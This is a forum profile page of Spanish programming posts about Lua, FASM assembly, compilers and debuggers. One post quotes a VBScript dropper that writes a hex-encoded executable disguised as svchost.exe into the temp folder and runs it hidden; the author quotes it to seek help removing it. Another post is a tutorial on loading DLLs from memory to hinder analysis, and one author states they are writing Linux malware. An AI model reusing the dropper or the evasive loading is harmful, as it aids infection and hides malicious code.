Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Yuki

#1
Scripting / Obtener nueva posición del jugador
28 Noviembre 2019, 10:37 AM
Bueno, estoy tratando de obtener lo que sería la nueva posición del jugador en base a la posición del mouse relativa a la ventana.

Es decir: quiero que la posición X e Y de un jugador sea ajustada hacia su nueva posición en el mapa/mundo, la cual sería la posición señalada por el mouse sobre la ventana.

Yo actualmente poseeo los siguientes datos:

  • Las dimenciones de la ventana.
  • La posición X e Y del mouse en base a la ventana.
  • La dimensión del mapa.
  • La posición del jugador relativa a la dimensión del mapa.
  • La velocidad de movimiento del jugador.

local WINDOW_WIDTH = 597
local WINDOW_HEIGHT = 383
local MOUSE_X = 0
local MOUSE_Y = 0
local USER_X = 34.0
local USER_Y = 63.0
local MAP_WIDTH = 71.0
local MAP_HEIGHT = 43.0
local USER_SPEED = 8

-- Mi vano intento por obtener las nuevas coordenadas X e Y.
-- Hice cualquiera xd
local angle = math.atan2(MOUSE_Y - USER_Y,MOUSE_X - USER_X)
local dx,dy = USER_SPEED * math.cos(angle),USER_SPEED * math.sin(angle)
local x,y = dx,dy
print(x,y)


También me encuentro con el dilema de que el mapa y la posición del jugador están en valores flotantes y no sé que dimensión en pixeles representa, aunque creo que es:

WIDTH = MAP_WIDTH * USER_SPEED
HEIGHT = MAP_HEIGHT * USER_SPEED


La verdad no tengo la menor idea de como proceder en este caso. ¿alguna sugerencia?
#2
ASM / Creando un socket con FASM para Linux
26 Septiembre 2019, 16:26 PM
Bueno, como estoy creando un malware para Linux tengo que escribir y probar código, tuve (y tengo) bastantes problemas con los sockets, no por su complejidad de uso (que es nula), sino por el simple hecho de que no obtengo los resultados deseados.

Escribí este código para encontrar el error de manera más sencilla, pero no pude hacerlo debido a que milagrosamente el código decidió funcionar sin problemas (o eso creo).


Para FASM:
Código (asm) [Seleccionar]
format ELF executable 3
entry start

segment readable executable

SYS_SOCKET = 1
SYS_SOCKETCALL = 102
SYS_WRITE = 4

start:
        mov DWORD[sockparams+4*0],2 ; PF_INET - AF_INET (2)
        mov DWORD[sockparams+4*1],1 ; SOCK_STREAM (1)
        mov DWORD[sockparams+4*2],0 ; 0, También probé con IPPROTO_TCP (6)

        lea ecx,DWORD[sockparams]
        mov ebx,SYS_SOCKET
        mov eax,SYS_SOCKETCALL
        int 0x80
        cmp eax,0
        je .MOSTRAR_MENSAJE_CERO
        js .MOSTRAR_MENSAJE_MENOR_CERO
        jb .MOSTRAR_MENSAJE_MENOR_CERO
        ja .MOSTRAR_MENSAJE_NO_CERO
        jmp .CONTINUAR
.MOSTRAR_MENSAJE_CERO:
        mov edx,7
        mov ecx,cero_mensaje
        mov ebx,1
        mov eax,SYS_WRITE
        int 0x80
        jmp .CONTINUAR
.MOSTRAR_MENSAJE_NO_CERO:
        mov edx,19
        mov ecx,nocero_mensaje
        mov ebx,1
        mov eax,SYS_WRITE
        int 0x80
        jmp .CONTINUAR
.MOSTRAR_MENSAJE_MENOR_CERO:
        mov edx,15
        mov ecx,menorcero_mensaje
        mov ebx,1
        mov eax,SYS_WRITE
        int 0x80
.CONTINUAR:
        mov eax,1
        xor ebx,ebx
        int 0x80

segment readable writeable

        sockparams rd 10

        menorcero_mensaje db 'Menor a cero...',0
        cero_mensaje db 'Cero...',0
        nocero_mensaje db 'Es mayor a cero! :0',0


Considero que está muy claro, pero si no se entiende no duden en decirme. Espero que les sirva a aquellas personas interesadas en la programación de bajo nivel para Linux.

Testeado en TinyCore Linux emulado mediante QEMU.
#3
Windows / Creando variante Lua
6 Mayo 2019, 20:03 PM
Estoy creando una variante de Lua 5.3 que permite la automatización de Windows (vease: AutoIT y AutoHotKey) pero mejor orientado al hacking de juegos (vease: edición de memoria, hooks, etc).

No vengo a pedir ayuda con el desarrollo del proyecto, tengo en mente la base del lenguaje; solo me gustaría (realmente!) tener algunas ideas en la mesa antes de terminar con la primera liberación.

¿Qué te gustaría ver implementado en Lua?, también busco sugerencias para el nombre.

¡Saludos!
#4
Buenas a todos, el día de ayer encontré por casualidad esta página la cual plantea el uso del lenguaje Lua en el navegador (front-end), me gustó y decidí probarlo. Ví que se puede descargar mediante cURL, pero ademas de un par de funciones mediante PHP, nunca había usado el software.

Descargué cURL, añadí su dirección a la ruta de variables para usarlo fácilmente desde consola (cmd.exe) y escribí el comando que se me describe en la parte inferior de su página.

curl -L -O https://github.com/fengari-lua/fengari-web/releases/download/v0.1.4/fengari-web.js

Parece ser que lo descargó con éxito, pero desconozco la ubicación del archivo. Buscando por Internet encontré el como establecer la ruta de escritura del archivo a descargar.

curl -L -O https://github.com/fengari-lua/fengari-web/releases/download/v0.1.4/fengari-web.js > C:\Users\Usuario\Desktop\fengari-web.js

Pero el archivo creado está vacío. ¿Qué estoy haciendo mal?
#5
Foro Libre / Escribiendo un compilador en vivo
18 Abril 2018, 23:52 PM
Bueno, ya queriendo iniciar un proyecto nuevo, les aviso que a partir de mañana 19/04/2018 (3:00 pm - Hora Argentina) voy a empezar a escribir un compilador en vivo desde Twitch, el proyecto será programado en el viejo VB6 bajo Windows 10 de 64 bits.

¡Los espero!
#6
Bueno, ya harto de escribir compiladores mediocres solo, me decidí hoy a escribir este post para buscar gente que me ayude a programar en el viejo vb6, ofrezco una maquina virtual W10 64 bits para el desarrollo de este proyecto (código cerrado/no github).

Solo personas con microfono y tiempo libre!

Esto solo se hace por hobbie/diversión/socialización/aprendizaje, sin embargo se buscaria el desarrollo de un lenguaje bien hecho y completo (POO, Recursivo, Sobrecarga de operadores - Procedimientos,1 sondeo, etc), por lo que se solicita gente con experiencia en programación y buena comprensión de la lógica de esta.

Lamentablemente solo se aceptan 3 programadores!

Pueden ofrecerse en comentarios (?)
#7
Compré un CPU nuevo y lo comparto con mi hermanito, lo que necesito es crear 2 escritorios. Uno para mi hermanito y el otro para controlar de forma remota vía AnyDesk, necesitan trabajar en paralelo y totalmente independientes un escritorio del otro ¿como puedo hacer esto?
#8
En un ordenador que uso como servidor hay un programa que modifica los archivos HTML añadiendo el siguiente código:

Código (vb) [Seleccionar]
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90..." ' Básicamente un archivo ejecutable.
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>


Este código crea un ejecutable y lo ejecuta. El problema es que no puedo "atrapar" al ejecutable que hace esto.

¿Alguna sugerencia para esta situación?
#9
Bueno, hace unos años logre realizar las bases de un sueño mio que era tener mi propio lenguaje de programación funcional, hoy dia ese sueño se cumplió gracias a mis esfuerzos y se compartió gracias a una increible comunidad, pero a pesar de que logre crear algo realmente potente y simple (lo suficiente como para poder desarrollar el programa que desee) no estoy satisfecho.

Hoy me estoy planteando volver a desarrollar un nuevo compilador, y el hecho de que este acá es para preguntarles ¿que les gustaria de un lenguaje de programación? ¿que cosas les molesta o disgusta? ¿tienen detalles que compartir?

¡Saludos!
#10
Información

Las funciones predeterminadas de la API de Windows para cargar bibliotecas externas en un programa (LoadLibrary, LoadLibraryEx) sólo funcionan con archivos del sistema. Por lo tanto, es imposible cargar un DLL de memoria. Pero a veces, necesitas exactamente esta funcionalidad (por ejemplo, si no quieres distribuir muchos archivos o quieres hacer el des-ensamblado más difícil). Soluciones comunes para estos problemas son escribir el DLL en un archivo temporal primero e importarlo desde ahí. Cuando el programa termina, el archivo temporal se elimina.

En este tutorial, describiré primero cómo se estructuran los archivos DLL y se presentará código que se puede utilizar para cargar una DLL completamente desde la memoria, sin tocar el disco.

Ejecutables de Windows - Formato PE

La mayoría de los binarios de Windows que pueden contener código ejecutable (.exe, .dll, .sys) comparten un formato de archivo común que consta de las siguientes partes:

DOS Header
DOS Stub
PE Header
Sección Header
Sección 1
Sección 2
. . .
Sección #


Todas las estructuras que se dan a continuación se pueden encontrar en el archivo Estructuras.cml

Cabecera DOS (DOS Header) - STUB

El encabezado DOS sólo se utiliza para la compatibilidad con versiones anteriores. Precede al stub de DOS que normalmente sólo muestra un mensaje de error acerca de que el programa no se puede ejecutar desde el modo DOS.

Microsoft define el encabezado DOS de la siguiente manera:

Estruct IMAGE_DOS_HEADER,_
       e_magic,_       ' Número mágico.
       e_cblp,_         ' Bytes en la última página del archivo.
       e_cp,_           ' Paginas en el archivo.
       e_crlc,_          ' Relocalizaciones.
       e_cparhdr,_    ' Tamaño del encabezado en el apartado.
       e_minalloc,_    ' Tamaño extra mínimo del apartado.
       e_maxalloc,_   ' Tamaño extra máximo del apartado.
       e_s,_              ' Valor SS inicial (relativo).
       e_sp,_            ' Valor inicial SP.
       e_csum,_        ' Checksum.
       e_ip,_             ' Valor inicial IP.
       e_cs,_             ' Valor CS inicial (relativo).
       e_lfarlc,_         ' Dirección en el archivo de la tabla de relocaciones.
       e_ovno,_        ' Número de superposición.
       e_res[4],_       ' Reservados.
       e_oemid,_       ' Identificador OEM (para e_oeminfo).
       e_oeminfo,_    ' Información OEM.
       e_res2[10]:Word,_ ' Reservado.
       e_lfanew:Entero ' Dirección en el archivo de la nueva cabecera.


Cabecera PE (PE Header)

La cabecera PE contiene información acerca de las diferentes secciones dentro del ejecutable que son usados para almacenar códigos y datos o también para definir importaciones de otras librerías o exportaciones que esta proporciona.

Esta se define como la siguiente estructura:

Estruct IMAGE_NT_HEADERS,_
       Signature:Entero,_
       FileHeader:IMAGE_FILE_HEADER,_
       OptionalHeader:IMAGE_OPTIONAL_HEADER


El miembro 'FileHeader' describe el formato físico del archivo. Por ejemplo: contenidos, información sobre símbolos, etc.

Estruct IMAGE_FILE_HEADER,_
       Machine,_
       NumberOfSections:Word,_
       TimeDateStamp,_
       PointerToSymbolTable,_
       NumberOfSymbols:Entero,_
       SizeOfOptionalHeader,_
       Characteristics:Word


El 'OptionalHeader' contiene información sobre el formato lógico de la librería, incluyendo la versión requerida del SO, los requisitos de memoria y los puntos de entrada.

Estruct IMAGE_OPTIONAL_HEADER,_
       Magic:Word,_ ' 0
       MajorLinkerVersion,_ ' 2
       MinorLinkerVersion:Byte,_ ' 3
       SizeOfCode,_    ' 4
       SizeOfInitializedData,_ ' 8
       SizeOfUnitializedData,_ ' 12
       AddressOfEntryPoint,_ ' 16
       BaseOfCode,_ ' 20
       BaseOfData,_ ' 24
       ImageBase,_ ' 28
       SectionAlignment,_ ' 32
       FileAlignment:Entero,_ ' 36
       MajorOperatingSystemVersion,_ ' 40
       MinorOperatingSystemVersion,_ ' 42
       MajorImageVersion,_ ' 44
       MinorImageVersion,_ ' 46
       MajorSubsystemVersion,_ ' 48
       MinorSubsystemVersion:Word,_ ' 50
       W32VersionValue,_ ' 52
       SizeOfImage,_ ' 56
       SizeOfHeaders,_ ' 60
       CheckSum:Entero,_ ' 64
       SubSystem,_ ' 68
       DllCharacteristics:Word,_ ' 70
       SizeOfStackReserve,_ ' 72
       SizeOfStackCommit,_ ' 76
       SizeOfHeapReserve,_ ' 80
       SizeOfHeapCommit,_ ' 84
       LoaderFlags,_ ' 88
       NumberOfRvaAndSizes:Entero,_ ' 92
       DataDirectory[16]:IMAGE_DATA_DIRECTORY ' 96


El 'DataDirectory' contiene 16 (IMAGE_NUMBEROF_DIRECTORY_ENTRIES) entradas que definen los componentes lógicos de la librería:

CitarNota: Las descripciones en rojo no pudieron ser traducidas.

Indice-Descripción
0Funciones exportadas
1Funciones importadas
2Recursos (resources)
3Información de excepciones
4Información de seguridad
5Tabla de reubicación base
6Información de depuración
7Datos de arquitectura especifica
8Puntero global
9Thread local storage
10Configuración de carga
11Importaciones vinculadas
12Tabla de direcciones de importación
13Delay load imports
14COM runtime descriptor

Para importar una DLL nosotros solo necesitamos las entradas que describen las importaciones y la tabla de reubicaciones. Para proporcionar acceso a las funciones exportadas, se requiere la entrada de las exportaciones.

Cabecera de secciones (Section Header)

La cabecera de secciones es almacenada después de la estructura 'OptionalHeader' en la cabecera PE. Si usted usa C. Microsoft le provee la macro 'IMAGE_FIRST_SECTION' para obtener la dirección de inicio basado en la cabecera PE.

Actualmente, la cabecera de secciones (Section Header) es una lista de información acerca de cada sección en el archivo.

Unión Misc,_
     PhysicalAddress,_
     VirtualSize:Entero

Estruct IMAGE_SECTION_HEADER,_
       Name[8]:Byte,_
       Misc:Misc,_
       VirtualAddress,_
       SizeOfRawData,_
       PointerToRawData,_
       PointerToRelocations,_
       PointerToLinenumbers:Entero,_
       NumberOfRelocations,_
       NumberOfLinenumbers:Word,_
       Characteristics:Entero


Una sección puede contener código, datos, información de reubicaciones, recursos, definiciones de importación/exportación, etc.

Cargando la librería

Para emular la carga PE, nosotros primero debemos entender cuales son los pasos necesarios para cargar un archivo en la memoria y preparar las estructuras para que puedan ser llamadas por otros programas.

Al invocar a la API LoadLibrary, básicamente, Windows realiza estas tareas:


  • Abre el archivo dado y analiza las cabeceras DOS y PE.
  • Trata de almacenar 'PEHeader.OptionalHeader.SizeOfImage' bytes en la posición 'PEHeader.OptionalHeader.ImageBase'.
  • Analiza las secciones de cabecera y copia cada sección a sus respectivas secciones de memoria. La dirección de destino de cada sección, relativa a la base del bloque de memoria asignado, se almacena en el miembro 'VirtualAddress' de la estructura IMAGE_SECTION_HEADER.
  • Si el bloque de memoria alojado difiere del miembro 'ImageBase', varias referencias en las secciones de código y/o datos deben ser ajustadas. Esto es llamado reubicación base (base relocation).
  • Las importaciones necesarias para la DLL deben resolverse cargando las librerías correspondientes.
  • Las regiones de memoria de cada sección deben ser protegidas dependiendo de las características de la sección. Muchas secciones son marcadas como descartables y por lo tanto se pueden liberar a partir de este punto. Estas secciones normalmente contienen información temporal que solo es requerida durante la importación. Como la información para la reubicación base.
  • Nuestra librería esta cargada completamente, Se debe notificar sobre esto llamando al punto de entrada (Entry Point) usando la bandera (flag) DLL_PROCESS_ATTACH.

En los siguientes párrafos, cada paso es descrito.

Almacenando memoria

Toda la memoria requerida por la libreria debe ser reservada/alojada usando VirtualAlloc, como Windows provee funciones para proteger estos bloques de memoria. Esto es requerido para restringir el acceso a la memoria, como bloquear el acceso a escritura del código o datos constantes.

La estructura 'OptionalHeader' define el tamaño del bloque de memoria requerido por la librería. Si es posible, esta debe ser almacenado en la dirección especificada por 'ImageBase'.

CitarNota: En el siguiente mini-ejemplo se asume que usted hizo apuntar 'PEHeader' a la librería en memoria.

Var Mem:Entero
Mem = VirtualAlloc(PEHeader.OptionalHeader.ImageBase,PEHeader.OptionalHeader.SizeOfImage,MEM_RESERVE,PAGE_READWRITE)


Si la memoria reservada difiere de la dirección dada en 'ImageBase', se debe realizar la reubicación de base como se describe mas adelante.

Copiar secciones

Una vez que la memoria ha sido reservada, el contenido del archivo debe ser copiado al sistema. Las secciones de cabecera (Section Headers) deben ser evaluadas para determinar la posición en el archivo y el área de destino en la memoria.

Antes de copiar los datos, el bloque de memoria debe estar comprometido.

CitarNota: Se aloja nueva memoria con la bandera 'MEM_COMMIT'.

Var Destino:Entero
Destino = VirtualAlloc(DirecciónBase + Sección.VirtualAddress,Sección.SizeOfRawData,MEM_COMMIT,PAGE_READWRITE)


Secciones sin datos en el archivo (como secciones de datos para ser usadas como variables) tienen un 'SizeOfRawData' de 0. Entonces puedes usar la 'SizeOfInitializedData' o 'SizeOfUninitializedData' de 'OptionalHeader'. Cada uno debe ser elegido dependiendo de las banderas de bits 'IMAGE_SCN_CNT_INITIALIZED_DATA' e 'IMAGE_SCN_CNT_UNINITIALIZED_DATA' que se pueden establecer en las características de la sección (miembro 'Characteristics').

Reubicación base

Todas las direcciones de memoria en las secciones de código/datos de una libreria son almacenadas relativamente a la dirección definida por 'ImageBase' de 'OptionalHeader'.

Si la librería no puede ser importada de esta dirección de memoria, las referencias deben ser re-ajustadas (reubicadas). El formato de archivo ayuda a esto almacenando información sobre todas estas referencias en la tabla de reubicación de base, la cual puede ser encontrada en el directorio 5 de la 'DataDirectory' en la 'OptionalHeader'.

Esta tabla consta de una serie de esta estructura:

Estruct IMAGE_BASE_RELOCATION,_
       VirtualAddress,_
       SizeOfBlock:Entero


Contiene (SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / 2 entradas de 16 bits cada una. Los 4 bits superiores definen el tipo de reubicación, los 12 bits inferiores definen el desplazamiento en relación con el VirtualAddress.

Los únicos tipos que pueden ser usados en librerías son:

IMAGE_REL_BASED_ABSOLUTE (0)
Ninguna operación de reubicación.

IMAGE_REL_BASED_HIGHLOW (3)
Agregue el delta entre ImageBase y el bloque de memoria asignado a los 32 bits encontrados en el offset.

Resolviendo importaciones

La entrada de directorio 1 del 'DataDirectory' en 'OptionalHeader' especifica una lista de bibliotecas para importar símbolos. Cada entrada en esta lista se define de la siguiente manera:

Estruct IMAGE_IMPORT_DESCRIPTOR,_
       OriginalFirstThunk,_
       TimeDateStamp,_
       ForwarderChain,_
       Name,_
       FirstThunk:Entero


El miembro 'Name' describe el offset a una cadena terminada en nulo con el nombre de la librería (ej: KERNEL32.DLL). El miembro 'OriginalFirstThunk' apunta a una lista de referencias a los nombres de las funciones a importar de la librería externa. 'FirstThunk' apunta a una lista de direcciones que se llenó con punteros a los símbolos importados.

Cuando nosotros resolvemos las importaciones, nosotros recorremos ambas listas en paralelo, importando la función definida en la primera lista y almacenando el puntero en los símbolos de la segunda lista.

Var @NameRef,@SymbolRef:Entero
NameRef@ = BaseAddress + ImportDes.OriginalFirstThunk
SymbolRef@ = BaseAddress + ImportDes.FirstThunk

Mientras NameRef <> 0
   Var @ThunkData:IMAGE_IMPORT_BY_NAME
   ThunkData@ = CodeBase + NameRef
   SymbolRef = GetProcAddress(Handle,CadDePtr(ThunkData.Name))
   NameRef@ = NameRef@@+4
   SymbolRef@ = SymbolRef@@+4
FinMientras


Protegiendo la memoria

Cada sección especifica los indicadores de permiso en su entrada de características. Estas banderas pueden ser una o una combinación de

IMAGE_SCN_MEM_EXECUTE (&20000000)
Esta sección contiene datos que pueden ser ejecutados.

IMAGE_SCN_MEM_READ (&40000000)
Esta sección contiene datos que solo pueden ser leídos.

IMAGE_SCN_MEM_WRITE (&80000000)
Esta sección contiene datos que pueden ser escritos.

Estos indicadores deben asignarse a las banderas de protección


  • PAGE_NOACCESS (&1)
  • PAGE_WRITECOPY 8
  • PAGE_READONLY (&2)
  • PAGE_READWRITE (&4)
  • PAGE_EXECUTE (&10)
  • PAGE_EXECUTE_WRITECOPY (&80)
  • PAGE_EXECUTE_READ (&20)
  • PAGE_EXECUTE_READWRITE (&40)

Ahora, la función VirtualProtect puede ser usada para limitar el acceso a la memoria. Si el programa trata de escribir algo en un camino no autorizado, una excepción es generada por Windows.

Además de los indicadores de sección anteriores, se puede agregar los siguientes:

IMAGE_SCN_MEM_DISCARDABLE (&02000000)
Los datos en esta sección pueden ser liberados después de importar. Usualmente esta es especificada por los datos de reubicación.

IMAGE_SCN_MEM_NOT_CACHED (&04000000)
Los datos de esta sección no deben ser almacenados en caché por Windows. Agregue el indicador de bits PAGE_NOCACHE a los indicadores de protección anteriores.

Notificar librería

La ultima cosa que hacemos es llamar el punto de entrada de la DLL (definido por 'AddressOfEntryPoint') y por lo tanto notificar a la biblioteca acerca de estar conectado a un proceso.

La función de punto de entrada es definida como:

Prototipo EntryPoint(hInstance,dwReason,Reserved):Entero

Entonces el código que nosotros debemos ejecutar es:

Prototipo EntryPoint(hInstance,dwReason,Reserved):Entero

Var Entry:EntryPoint
Entry@ = BaseAddress + PEHeader.OptionalHeader.AddressOfEntryPoint
Entry(BaseAddress,DLL_PROCESS_ATTACH,0)


Después podemos utilizar las funciones exportadas como con cualquier biblioteca normal.

Funciones exportadas

Si usted quiere obtener acceso a las funciones que la librería exporta, necesita buscar el punto de entrada del simbolo, por ejemplo. El nombre de la función a llamar.

El directorio de entrada 0 de la 'DataDirectory' en la 'OptionalHeader' contiene información acerca de las funciones exportadas. Esta es definida como la siguiente estructura:

Estruct IMAGE_EXPORT_DIRECTORY,_
       Characteristics,_
       TimeDateStamp:Entero,_
       MajorVersion,_
       MinorVersion:Word,_
       Name,_
       Base,_
       NumberOfFunctions,_
       NumberOfNames,_
       AddressOfFunctions,_ ' RVA de Base.
       AddressOfNames,_     ' RVA de Base.
       AddressOfNameOrdinals:Entero ' RVA de Base.


Lo primero que debemos hacer es referenciar el nombre de la función al número ordinal del símbolo exportado. Por lo tanto, sólo sondear las matrices definidas por 'AddressOfNames' y 'AddressOfNameOrdinals' en paralelo hasta que encuentre el nombre necesario.

Ahora puede utilizar el número ordinal para leer la dirección evaluando el n-ésimo elemento de la matriz 'AddressOfFunctions'.

Liberando la libreria

Para liberar la librería cargada de manera personalizada, realice los siguientes pasos:

  • Llamar al punto de entrada para informar que la vamos a liberar.
Entry(BaseAddress,DLL_PROCESS_DETACH,0)


  • Liberar las librerías requeridas por la DLL que queríamos importar en realidad.
  • Liberar la memoria alojada por VirtualAlloc.

CitarEste manual fue escrito por Joachim Bauch, traducido por Yuki para Underc0de y traído a ustedes por amor a la información libre.

Código fuente de ejemplo (escrito en Cramel)

El código fuente de la librería se puede encontrar acá.

El código de ejemplo puede ser visto en PasteBin.

¡Saludos!
#11
Buenas, hace un tiempo termine de desarrollar un lenguaje de programación orientado a objetos en español, debido a esto me encontré en la necesidad de escribir un depurador para que los programadores puedan detectar errores en su código de manera mas fácil.

El dilema es que no se como escribirlo de tal manera que se visualice la línea de código que se esta ejecutando en el momento ¿alguien tiene alguna referencia de como hacer este trabajo?
#12
Programación General / Programar depurador
16 Diciembre 2016, 21:26 PM
Buenas, estoy programando un depurador para el lenguaje de programación que desarrolle, pero no tengo la menor idea de como sincronizar el código fuente con el archivo ejecutable siendo depurado.

¿alguien tiene alguna idea de como se realiza este trabajo?
#13
Foro Libre / Lenguaje Cramel3
1 Noviembre 2016, 13:58 PM
Hola!

Hace un tiempo cree un post hablando de un nuevo lenguaje de programación que yo mismo diseñe, hoy les traigo la nueva versión de ese lenguaje escrito de cero nuevamente.  ;-)


Este post no es para hacer propaganda, les quiero enseñar lo que seria una útil herramienta para los  programadores nuevos y veteranos.

Un nuevo lenguaje que permita aprender programación de la manera mas fácil y simple posible, con la potencia de increíbles lenguajes como la familia C.

¿Que piensas de esto?

Si te interesa el proyecto, puedes ingresar a la pagina desde aquí.

El código fuente de Cramel2 (versión anterior) esta disponible para su descarga en la sección "Descargas".
#14
ASM / Manipular flotantes en la pila
13 Junio 2016, 03:02 AM
Buenas, necesito saber como trabajan las funciones/procedimientos con los flotantes, a lo que se refiere pasarlos por la pila.

¿Acaso envian el valor convertido a entero? ¿o simplemente pasan un puntero a la variable QWORD (8 bytes)?

Espero su respuesta, gracias de antemano!
#15
Foro Libre / Nuevo Compilador
29 Mayo 2016, 16:20 PM
Bueno, les traigo una muestra de mi compilador, lo he estado programando estos ultimos meses y la verdad es que ha sido todo un desafio, nunca pense que iba a ser tan complejo y exajerado, pero con mucho esfuerzo he podido desarrollarlo hasta el punto de poder compartirlo con ustedes.

Antes de que lo prueben, les informo que los bugs estan GARANTIZADOS, asi que no me insulten demasiado.

Les dejo el enlace de descarga, pido disculpas si esto no se debe hacer en esta sección.

http://www.mediafire.com/download/f5xsd5mmymxf5o9/%5BBinario%5D_Compilado.zip

El comprimido contiene información y un código de ejemplo.

Espero criticas constructivas, sugerencias y recomendaciones.

Saludos!
#16
ASM / Cadenas en FASM
1 Mayo 2016, 18:37 PM
Hola, estoy desarrollando un compilador en Basic 6.0 y hasta ahora he logrado superar muchos obstaculos (procesamiento y traducción de ecuaciones matematicas + funciones a ensamblador, adición de APIS y otras cosas) pero tengo un problema con las cadenas.

Para que se hagan una idea con lo que estoy tratando les doy el siguiente código de ejemplo de mi compilador.

API MessageBox(Opcional hWnd:Entero,Texto:Cadena = "Hola soy una cadenita",Título:Cadena = "Soy un sexual título",Opcional Bandera:Entero = 48):Entero, "User32.dll" "MessageBoxA"

Var Cadenita:Cadena
Var OtroParametro:Entero
Var Título:Cadena
Var Cuarto:Entero

Cadenita = "Soy una vulgar cadena"
Título = "mnmnqmnqmnqm"
Cuarto = 48

MessageBox(0,Cadenita,Título,Cuarto)


El problema esta al tratar de rellenar la variable "Cadenita" con "Soy una vulgar cadena".
Ya que al visualizar el MessageBox amarece "Soy un0" como texto.

El código ensamblador generado es el siguiente.

; Código generado en Fractor!
include 'C:\Users\DarkBlue\Desktop\Fractor\Macros.inc'
format PE GUI 4.0
.datos
TmpStr0 db "Hola soy una cadenita",0
TmpStr1 db "Soy un sexual título",0
cadenita db ?
otroparametro dd ?
título db ?
cuarto dd ?
TmpStr2 db "Soy una vulgar cadena",0
TmpStr3 db "mnmnqmnqmnqm",0
.código
inicio:
push eax ; Preservamos EAX.
push TmpStr2
push cadenita
ccall [strcat]
add esp,8
pop eax ; Restauramos EAX
push eax ; Preservamos EAX.
push TmpStr3
push título
ccall [strcat] ; POSIBLE ERROR.
add esp,8
pop eax ; Restauramos EAX
push eax ; Preservamos EAX.
push TmpStr2 ; Empujamos el valor de TmpStr2.
push TmpStr3 ; Empujamos el valor de TmpStr3.
mov eax,48 ; Fin del calculo.
mov [cuarto],eax ; Movemos a la variable el valor de EAX.
pop eax ; Restauramos EAX.
push eax ; Preservamos EAX.
push [cuarto] ; Empujamos el valor de cuarto.
push título ; Empujamos el valor de título.
push cadenita ; Empujamos el valor de cadenita.
push 0
call [MessageBox]
pop eax ; Restauramos EAX.
push 0
call [ExitProcess]
entry inicio
; Procedimientos declarados.
; Fin de los procedimientos declarados.

.importar
; APIS declaradas.
library \
Kernel32,'Kernel32.dll',\
msvcrt,'msvcrt.dll',\
User32,'User32.dll'
import \
Kernel32,ExitProcess,'ExitProcess'
import \
msvcrt,strcat,'strcat'
import \
User32,MessageBox,'MessageBoxA'
; Fin APIS.


Como se puede notar, para asignarle a Cadenita el texto "Soy una vulgar cadena" utilizo strcat ya que yo asumí que strcat copia el segundo parametro en el primero, ¿que estoy haciendo mal?
#17
ASM / [FASM] Problema con matrices
8 Abril 2016, 22:29 PM
Buenas, estoy creando un proyecto en ensamblador bastante interesante, pero debido a algo no puedo avanzar.

Estoy tratando de buscar las DLLs del la ruta actual del programa en ejecución y almacenarlos en una Matriz, pero cuando quiero utilizarlos, solo aparece el nombre de una sola DLL en la matriz de longitud 2.

start:
        ; Obtenemos la dirección actual del programa.
        invoke GetModuleFileNameA,0,ProgramaRuta,255 ; Obtenemos la ruta actual del programa.
        cmp eax,0
        jbe ErrorRutaInvalida

        ; El siguiente código agarra la dirección actual del programa y la modifica para FindFirstFile.
        ; Ejemplo: "C:\Users\DarkBlue\FASM\Programa.exe" a "C:\Users\DarkBlue\FASM\*.dll"
        ; Sin apis extras :v
        mov ebx,ProgramaRuta
        mov ecx,256
BuscarCaracter:
        dec ecx
        cmp ecx,0
        je ErrorEcxEsCero
        cmp byte[ebx+ecx],"\"
        je FinDeTruncado
        mov byte[ebx+ecx],0
        jne BuscarCaracter
FinDeTruncado:
        mov dword [ebx+ecx+1],"*.dl"
        mov byte [ebx+ecx+5],"l"

        ; Aca vamos a buscar las DLLS.
        invoke FindFirstFile,ProgramaRuta,WFD
        cmp eax,-1
        je ErrorFindFirstFile
        mov [PtrFindFirstFile],eax
        mov ebx,-4
BuscarDlls: ; ZONA DE ERROR.
        add ebx,4
        mov dword[MatrizArchivos+ebx],WFD.cFileName
        invoke FindNextFile,[PtrFindFirstFile],WFD
        cmp eax,0
        jne BuscarDlls

        invoke FindClose,[PtrFindFirstFile]
        cmp eax,0
        je ErrorFindClose

        invoke MessageBox,0,dword[MatrizArchivos],0,0
        invoke MessageBox,0,dword[MatrizArchivos+4],0,0

        xor ebx,ebx
        jmp Salir


En la ruta del programa hay 2 DLLs, "Biblioteca.dll y Libreria.dll", a travez de FindFirstFile obtengo Biblioteca.dll y la almacena en MatrizArchivos+EBX (en el primer sondeo es 0) y en la segunda DLL "Libreria.dll" se obtiene a travez de FindNextFile, si este no produjo error retorna a BuscarDlls, EBX se establece en 4 y se añade el puntero al nombre de la DLL en MatrizArchivos+EBX (EBX = 4).

Pero cuando trato de visualizar mediante un MessageBox, solo aparece "Libreria.dll" en ambas matrices.

¿Que estoy haciendo mal?
#18
ASM / Excepciones en FASM
10 Febrero 2016, 00:38 AM
Averigue como manejar una excepción en FASM, pero no se como lo hago ¿alguien me lo podria explicar?

Mas que nada tengo la duda de las líneas 6 y 7.

Según tengo entendido, FS es como una "estructura" ¿alguien me lo podria confirmar?
Otra cosa que quiero saber es de que valor de FS ([FS+hVALOR]) puedo obtener el código de la excepción sin recurrir a una api (GetExceptionCode).

format pe gui 4.0
include 'win32ax.inc'
.code
start:
    push Excepción      ; Empujamos la dirección del control de excepción.
    push dword [FS:0]   ; ¿?
    mov  [FS:0], esp    ; ¿?
    int3                ; Generamos una excepción.
Excepción:
    invoke MessageBox,0,'Intercepte una excepción!','Excepción',48
    invoke ExitProcess, 0
    ret
.end start


Gracias de antemano.
#19
Buenas, les traigo una serie de funciones indocumentadas de MSVBVM60 que logre reversear (creo que así se dice, o crackear, no se...) con OllyDbg, PeExplorer, programación y muchisima depuración.

El código esta escrito en Pauscal.

Hasta ahora logre obtener 51 funciones, algunas ya son conocidas... otras son nuevas.
Obviamente las documente lo mejor que pude, espero que las disfruten.

Código (vb) [Seleccionar]
' Programador: Yuki
' Formato de cadenas: Unicode
' Estado de funciones: Indocumentadas
